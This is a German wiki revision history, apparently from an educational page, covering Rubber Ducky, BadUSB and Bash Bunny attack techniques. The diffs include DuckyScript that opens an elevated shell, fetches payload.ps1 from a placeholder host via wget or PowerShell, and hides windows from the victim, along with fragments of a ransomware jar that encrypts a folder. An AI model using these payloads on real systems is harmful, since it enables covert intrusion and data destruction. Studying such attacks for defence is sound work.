USB: Rubber Ducky - Revision history

Wolfm at 12:48, 17 October 2017

2017-10-17T12:48:09Z

Wolfm: /* Anforderung: Unauffällig bleiben */

2017-10-17T12:28:23Z

Anforderung: Unauffällig bleiben

@@ Line 155: / Line 155: @@
 Diese Anforderung beinhaltet im Besonderen das Verwischen von Spuren durch das Verstecken oder Schließen graphischer Oberflächen. Je nach Szenario ist es wichtig entweder nach der erfolgreichen Ausführung von schadvollen Aktionen entsprechende Fenster zu schließen oder Aktionen direkt möglichst im Hintergrund auszuführen, sollte das Opfer während dessen am Zielrechner sein.
-'''Lösungsansatz: Shell per Tastenkombinationen verstecken'''<br>
+'''Lösungsansatz: Shell per Tastenkombinationen verstecken'''
 Eine schnelle, aber wenig elegante Lösung ist es, im DuckyScript über beispielsweise die Pfeiltasten ein Fenster dessen Fokus möglicherweise noch gebraucht wird (z.B. eine Kommandozeile) aus dem sichtbaren Bereich des Desktops zu schieben, um weitere Aktionen im Fenster auszuführen und zusätzlich das Fenster zu verkleinern.
 Ein weiterer Ansatz setzt voraus, dass der Fokus des Fensters nicht benötigt wird. So kann beispielsweise über eine Kommandozeile ein Script ausgeführt werden und dieses Fenster zugleich als Hintergrundprozess weiter behandelt werden. Auch möglich wäre hier die Arbeit mit verschiedenen Desktops. So kann in Linux zu einem anderen Desktop gewechselt werden, dort die schadvollen Aktionen ausgeführt werden und wieder zum anfänglichen Desktop umgeschaltet werden.
 Beispiel: <code>DELAY 50</code>

Wolfm: /* Anforderung: Schadscript ausführen */

2017-10-17T12:26:05Z

Anforderung: Schadscript ausführen

← Older revision		Revision as of 12:26, 17 October 2017
Line 115:		Line 115:
	Im nächsten Schritt soll ein Script ausgeführt werden, dass eine komplexere Aktion ausführen kann. Dazu muss das Script auf den Zielrechner gelangen. Die folgenden Ansätze beschreiben mögliche Vorgehensweisen, um dies zu erreichen.		Im nächsten Schritt soll ein Script ausgeführt werden, dass eine komplexere Aktion ausführen kann. Dazu muss das Script auf den Zielrechner gelangen. Die folgenden Ansätze beschreiben mögliche Vorgehensweisen, um dies zu erreichen.

	'''Lösungsansatz: Über DuckyScript ausführen'''~~<br>~~		'''Lösungsansatz: Über DuckyScript ausführen'''

	Eine einfache Möglichkeit wäre es, das Script mittels DuckyScript während des Angriffs zu schreiben. Dazu könnte beispielsweise in einer Kommandozeile das gesamte Script über den STRING-Befehl in eine neue Datei geschrieben werden und diese Datei daraufhin ad hoc kompiliert sowie ausgeführt werden.<br>		Eine einfache Möglichkeit wäre es, das Script mittels DuckyScript während des Angriffs zu schreiben. Dazu könnte beispielsweise in einer Kommandozeile das gesamte Script über den STRING-Befehl in eine neue Datei geschrieben werden und diese Datei daraufhin ad hoc kompiliert sowie ausgeführt werden.<br>

	Beispiel (in Shell):~~<br>~~		Beispiel (in Shell):
		⚫	STRING echo 'echo helloworld' > exploit.bin
	<code>
		⚫	ENTER
⚫	STRING echo 'echo helloworld' > exploit.bin~~<br>~~
		⚫	powershell.exe -File exploit.bin<br>
⚫	ENTER~~<br>~~

⚫	powershell.exe -File exploit.bin<br>
		⚫	'''Lösungsansatz: Zusätzlicher Mass-Storage'''
	</code>

⚫	'''Lösungsansatz: Zusätzlicher Mass-Storage'''~~<br>~~
	Eine weitere Lösung wäre es den RubberDucky neben dem USB-Deskriptor eines HID-/Keyboard-Device, auch einen Deskriptor als Mass-Storage-Device zuzuweisen. Dies erfordert zwar eine Erweiterung der Firmware, ist jedoch bereits als TwinDuck-Firmware realisiert worden und kann wie die DetourDuck-Firmware über die Software DuckyFlasher eingerichtet werden.<br>		Eine weitere Lösung wäre es den RubberDucky neben dem USB-Deskriptor eines HID-/Keyboard-Device, auch einen Deskriptor als Mass-Storage-Device zuzuweisen. Dies erfordert zwar eine Erweiterung der Firmware, ist jedoch bereits als TwinDuck-Firmware realisiert worden und kann wie die DetourDuck-Firmware über die Software DuckyFlasher eingerichtet werden.<br>
	Nun kann ein Script direkt auf den Massenspeicher des RubberDucky abgelegt und über eine Kommandozeile ausgeführt werden. Dazu ist es nur notwendig dynamisch das richtige eingehängte Laufwerk zu erreichen und das Script auszuführen. Durch Environment-Variablen wie $USER unter Unix-Systemen ist das kein Problem. Einzig der Laufwerkbuchstabe des eingehängten Massenspeichers unter Windows erfordert zusätzliche Vorbereitungen. Zudem muss darauf geachtet werden, dass der Massenspeicher einen eindeutige Namen erhält, damit er nicht mit anderen Geräten auf dem Zielrechner verwechselt wird.		Nun kann ein Script direkt auf den Massenspeicher des RubberDucky abgelegt und über eine Kommandozeile ausgeführt werden. Dazu ist es nur notwendig dynamisch das richtige eingehängte Laufwerk zu erreichen und das Script auszuführen. Durch Environment-Variablen wie $USER unter Unix-Systemen ist das kein Problem. Einzig der Laufwerkbuchstabe des eingehängten Massenspeichers unter Windows erfordert zusätzliche Vorbereitungen. Zudem muss darauf geachtet werden, dass der Massenspeicher einen eindeutige Namen erhält, damit er nicht mit anderen Geräten auf dem Zielrechner verwechselt wird.
		⚫	'''REM Beispiel für UNIX-Systeme (hier MacOS und Massenspeichername=DUCKYDRIVE)'''
	<br>
		⚫	STRING cd /Volumes/DUCKYDRIVE
	<code>
⚫	'''REM Beispiel für UNIX-Systeme (hier MacOS und Massenspeichername=DUCKYDRIVE)'''~~<br>~~
⚫	STRING cd /Volumes/DUCKYDRIVE~~<br>~~

	'''REM Beispiel für UNIX-Systeme (hier Ubuntu und Massenspeichername=DUCKYDRIVE)'''~~<br>~~		'''REM Beispiel für UNIX-Systeme (hier Ubuntu und Massenspeichername=DUCKYDRIVE)'''
	STRING cd /media/$USER/DUCKYDRIVE		STRING cd /media/$USER/DUCKYDRIVE

	'''REM Beispiel für Windows-Systeme (Massenspeichername=DUCKYDRIVE)'''~~<br>~~		'''REM Beispiel für Windows-Systeme (Massenspeichername=DUCKYDRIVE)'''
	STRING for /f "tokens=3 delims= " %A in ('echo list volume ^\| diskpart ^\| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)~~<br>~~		STRING for /f "tokens=3 delims= " %A in ('echo list volume ^\| diskpart ^\| findstr "DUCKYDRIVE"') do (set DUCKYdrive=%A:)
	STRING cd %DUCKYdrive%\~~<br>~~		STRING cd %DUCKYdrive%\
	</code>

⚫	'''Lösungsansatz: Aus Internet laden'''~~<br>~~
⚫	Es ist auch möglich eine Datei über einen Server bereit zu stellen und diese mittels Kommandozeile auf dem Zielrechner zu erhalten.

		⚫	'''Lösungsansatz: Aus Internet laden'''
	<code>

⚫	'''REM Datei mittels wget-Befehl in Terminal aus dem Internet laden~~<br>~~
		⚫	Es ist auch möglich eine Datei über einen Server bereit zu stellen und diese mittels Kommandozeile auf dem Zielrechner zu erhalten.
⚫	STRING wget http://[HostIP]:[port x]/payload.ps1
		⚫	'''REM Datei mittels wget-Befehl in Terminal aus dem Internet laden
		⚫	STRING wget http://[HostIP]:[port x]/payload.ps1

	'''REM Datei mittels WIndows-Powershell aus dem Internet laden'''~~<br>~~		'''REM Datei mittels WIndows-Powershell aus dem Internet laden'''
	STRING $client = new-object Net.WebClient~~<br>~~		STRING $client = new-object Net.WebClient
	STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)		STRING $client.DownloadFile(„http://[HostIP]:[port x]/payload.ps1“, “C:\Users\$env:UserName\payload.ps1“)
	</code>

	'''Lösungsansatz: Nutzer motivieren'''~~<br>~~		'''Lösungsansatz: Nutzer motivieren'''
	Eine letzte von uns identifizierte Möglichkeit stellt wieder einen Social-Engineering-Ansatz dar. Sollte das Opfer aus Neugierde den RubberDucky selbst an den Zielrechner gesteckt haben, so könnte der Angreifer erwarten, dass der Nutzer auch Dateien, die sich auf dem Gerät befinden, anklicken wird. Dazu ist also wieder erforderlich, dass der RubberDucky zusätzlich als Massenspeicher vom Betriebssystem erkannt wird. Auch denkbar wäre eine Änderung der Firmware, sodass der Massenspeicher sich erst öffnen lässt, wenn der Nutzer sein Passwort eingegeben hat, welches dann wiederum im DuckyScript verwendet werden kann. Der Angreifer könnte hoffen, dass die Neugierde auch bei dem Öffnen des Massenspeichers keinen Halt macht.		Eine letzte von uns identifizierte Möglichkeit stellt wieder einen Social-Engineering-Ansatz dar. Sollte das Opfer aus Neugierde den RubberDucky selbst an den Zielrechner gesteckt haben, so könnte der Angreifer erwarten, dass der Nutzer auch Dateien, die sich auf dem Gerät befinden, anklicken wird. Dazu ist also wieder erforderlich, dass der RubberDucky zusätzlich als Massenspeicher vom Betriebssystem erkannt wird. Auch denkbar wäre eine Änderung der Firmware, sodass der Massenspeicher sich erst öffnen lässt, wenn der Nutzer sein Passwort eingegeben hat, welches dann wiederum im DuckyScript verwendet werden kann. Der Angreifer könnte hoffen, dass die Neugierde auch bei dem Öffnen des Massenspeichers keinen Halt macht.

Wolfm: /* Anforderung: Betriebssystem ermitteln */

2017-10-17T09:00:24Z

Anforderung: Betriebssystem ermitteln

Show changes

Wolfm: /* Anforderung: Betriebssystem ermitteln */

2017-10-17T08:40:56Z

Anforderung: Betriebssystem ermitteln

← Older revision		Revision as of 08:40, 17 October 2017
Line 60:		Line 60:

	inject3.bin<br>		inject3.bin<br>
	<~~code~~>		<pre>
	'''REM Code: open cmd on windows'''~~<br>~~		'''REM Code: open cmd on windows'''
	DELAY 500~~<br>~~		DELAY 500
	CTRL ESC~~<br>~~		CTRL ESC
	DELAY 1000~~<br>~~		DELAY 1000
	STRING cmd~~<br>~~		STRING cmd
	DELAY 2000~~<br>~~		DELAY 2000
	CTRL-SHIFT ENTER~~<br>~~		CTRL-SHIFT ENTER
	DELAY 5000~~<br>~~		DELAY 5000
	LEFTARROW~~<br>~~		LEFTARROW
	DELAY 50~~<br>~~		DELAY 50
	ENTER~~<br>~~		ENTER
	</~~code~~>		</pre>

	'''Lösungsansatz: Tastenkombinationen'''<br>		'''Lösungsansatz: Tastenkombinationen'''<br>

Niendora: /* Bash Bunny */

2017-10-15T14:30:12Z

Bash Bunny

← Older revision		Revision as of 14:30, 15 October 2017
Line 453:		Line 453:
	=== Bash Bunny ===		=== Bash Bunny ===
	Das Bash Bunny ist ebenfalls von der Firma hak5 produziert und kann als Kombination der erwähnten USB-Vulnerabilitäten aufgefasst werden. So kann das Werkzeug verschiedene USB-Geräte in Kombination emulieren (z.B. Ethernet, Flash-Storage und Keyboard). Außerdem enthält das Bash Bunny eine vollständige Linux-Box mit Shell-Zugang über eine serielle Konsole. So können auch Pentesting-Tools über die Box genutzt werden.		Das Bash Bunny ist ebenfalls von der Firma hak5 produziert und kann als Kombination der erwähnten USB-Vulnerabilitäten aufgefasst werden. So kann das Werkzeug verschiedene USB-Geräte in Kombination emulieren (z.B. Ethernet, Flash-Storage und Keyboard). Außerdem enthält das Bash Bunny eine vollständige Linux-Box mit Shell-Zugang über eine serielle Konsole. So können auch Pentesting-Tools über die Box genutzt werden.



	=== BadUSB ===		=== BadUSB ===

Niendora: /* Anwendungsbeispiele */

2017-10-15T14:29:41Z

Anwendungsbeispiele

Show changes

Niendora: /* BadUSB */

2017-10-15T14:28:39Z

BadUSB

← Older revision		Revision as of 14:28, 15 October 2017
Line 458:		Line 458:

	=== BadUSB ===		=== BadUSB ===
	[..]

			Für einen BadUSB ist keine spezielle Hardware wie beim Rubber Ducky notwendig. Jeder USB-Stick, mit einem Controller von der Firma Phison ist prinzipiell davon betroffen.
			Karsten Nohl stellte auf der BlackHat 2014 eine Methode vor, wie die Firmware der USB-Geräte ohne Zusatz von Hardware verändert werden kann. Er hat es geschafft eine eigene Firmware auf ein USB Stick zu spielen, der dann beim einstecken, ähnlich wie der Rubber Ducky, zusätzliche Befehle ausführt. Dadurch ist es möglich, Viren in das System zu schleusen und weitere USB Sticks "anzustecken".

	== Quellen ==		== Quellen ==

Niendora: /* Ransomware */

2017-10-15T14:18:01Z

Ransomware

← Older revision		Revision as of 14:18, 15 October 2017
Line 220:		Line 220:
	</source>		</source>

	Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue.		Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue. Für Testzwecke, wurde ein "Schalter" (boolean encrypt) eingebaut, mit den man seine Dateien im Ordner wieder entschlüsseln kann.

	<source lang="java">		<source lang="java">

Niendora: /* Ransomware */

2017-10-15T14:16:22Z

Ransomware

← Older revision		Revision as of 14:16, 15 October 2017
Line 219:		Line 219:
	javaw -jar %DUCKYdrive%\RubberDucky.jar		javaw -jar %DUCKYdrive%\RubberDucky.jar
	</source>		</source>

			Der Code zum .jar Executeable ist relativ einfach gehalten. Hier wird der Inhalt des Ordners C://testing/ (in Windows, bei Linux /testing usw.) verschlüsselt. Je nach Betriebssystem, könnte man, wenn man möchte, unterschiedliche Schritte durchführen (deshalb die OS-Abfrage). Die Dateien im Ordner werden per AES verschlüsselt. Der Schlüssel ist ein 16-Byte Char Array keyValue.

	<source lang="java">		<source lang="java">
Line 250:		Line 252:
	private static String extension = ".crypt";		private static String extension = ".crypt";
	private String startPath;		private String startPath;
	private boolean encrypt = ~~false~~;		private boolean encrypt = true;

	public RubberDucky(String startPath) {		public RubberDucky(String startPath) {